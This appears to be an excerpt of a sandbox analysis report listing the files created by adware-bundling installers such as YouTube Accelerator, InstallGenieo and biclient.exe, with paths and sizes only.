C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk2FB4.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\wbk2EBE.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2936_testlsp.log_tmp (23 bytes)

The process jsdrv.exe:1688 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\EISP0NPU.txt (136 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)

The process biclient.exe:3444 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\MPCS0FF2.txt (773 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9D5T6QVE\__utm[2].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\W7Z8W3F0.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\eula-mystartsearch[1].htm (1887 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9D5T6QVE\tokyo_sprite_full[2].png (1278 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\JF6K2YZ6.txt (609 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe (70607 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\C3J3F0L1.txt (775 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (22888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\TT1BFXL2.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\492.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.1 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\492.tmp (39020 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\492.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\566XASGF.txt (323 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.7 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\492.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\492.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\ROYBDMZR.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\RU75KN22.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\492.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\4TS6EM2S.txt (773 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\NRMK4OLA\428401b2724ce34c9657f205e14d247c[1].htm (47002 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\492.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\__utm[2].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\K3YXW4HZ.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\492.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.2 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.3 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.0 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.6 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\O04QBIUW.txt (127 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.4 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.5 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (66249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\5F1UJEWP.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\FU5CECH1\eula[2].htm (1058 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\492.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)

The process biclient.exe:2192 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Y3I2YZ1R.txt (280 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\YHRSUJ4O.txt (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\L65PJSV9.txt (674 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (22888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9D5T6QVE\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\S28EM8FV.txt (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\FU5CECH1\ga[1].js (24380 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\3LQOH3U3.txt (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\OH9BPRDV.txt (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\NRMK4OLA\eula-mystartsearch[1].htm (1887 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9D5T6QVE\tokyo_sprite_full[1].png (1300 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E926.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (69254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\7zip_32[1].png (145 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\7BPA31CQ.txt (678 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E926.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\SG3BYGQQ.txt (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (66249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\FU5CECH1\eula-youtubeaccelerator[1].htm (2744 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E926.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\9S0E6RMT.txt (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E926.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E926.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9D5T6QVE\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E926.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\M9VEIXT4.txt (674 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E926.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\NRMK4OLA\a023ae3ee3ddb84f912034f3917e580f[1].htm (50276 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E926.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\FU5CECH1\eula[1].htm (1061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E926.tmp (39020 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\9HEX66GN.txt (674 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\UB3L6613.txt (538 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\FU5CECH1\eula-sourceapp[1].htm (4341 bytes)

The process biclient.exe:2844 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.6 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.7 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\__utm[3].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.5 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.2 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.3 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.0 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.1 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.0 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.1 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe (70607 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\NRMK4OLA\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\H520H1JR.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.4 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F631.tmp (37784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\NRMK4OLA\tokyo_sprite_full[1].png (1300 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe (12251 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\8G9ZL3N1.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.2 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.3 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\df2ee0eca619e745941b88b65e390118[1].htm (49209 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.6 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.7 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.4 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.5 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (66249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\NMNT6V1L.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\FU5CECH1\eula-sourceapp[2].htm (4341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\W4BB3B5M.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)

The process wpm_v20.0.0.1714_0204.exe:2588 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (3560 bytes)

The process ins_yta.exe:4076 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLBD5F4.tmp (144 bytes)

The process GLBD5F4.tmp:3948 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7581 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (116073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14310 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJD681.tmp (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe (24473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (16 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (6741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\cabex.dll (98 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLKD885.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLFDEA1.tmp (12 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (5623 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LangPackU.cab (45 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLGDE90.tmp (93191 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLCD661.tmp (3791 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLMDA89.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (12513 bytes)

The process setup.exe:2344 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\ffsearch_toolbar!1.0.0.1027.xpi (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\conf (83 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\1.zip (24288 bytes)
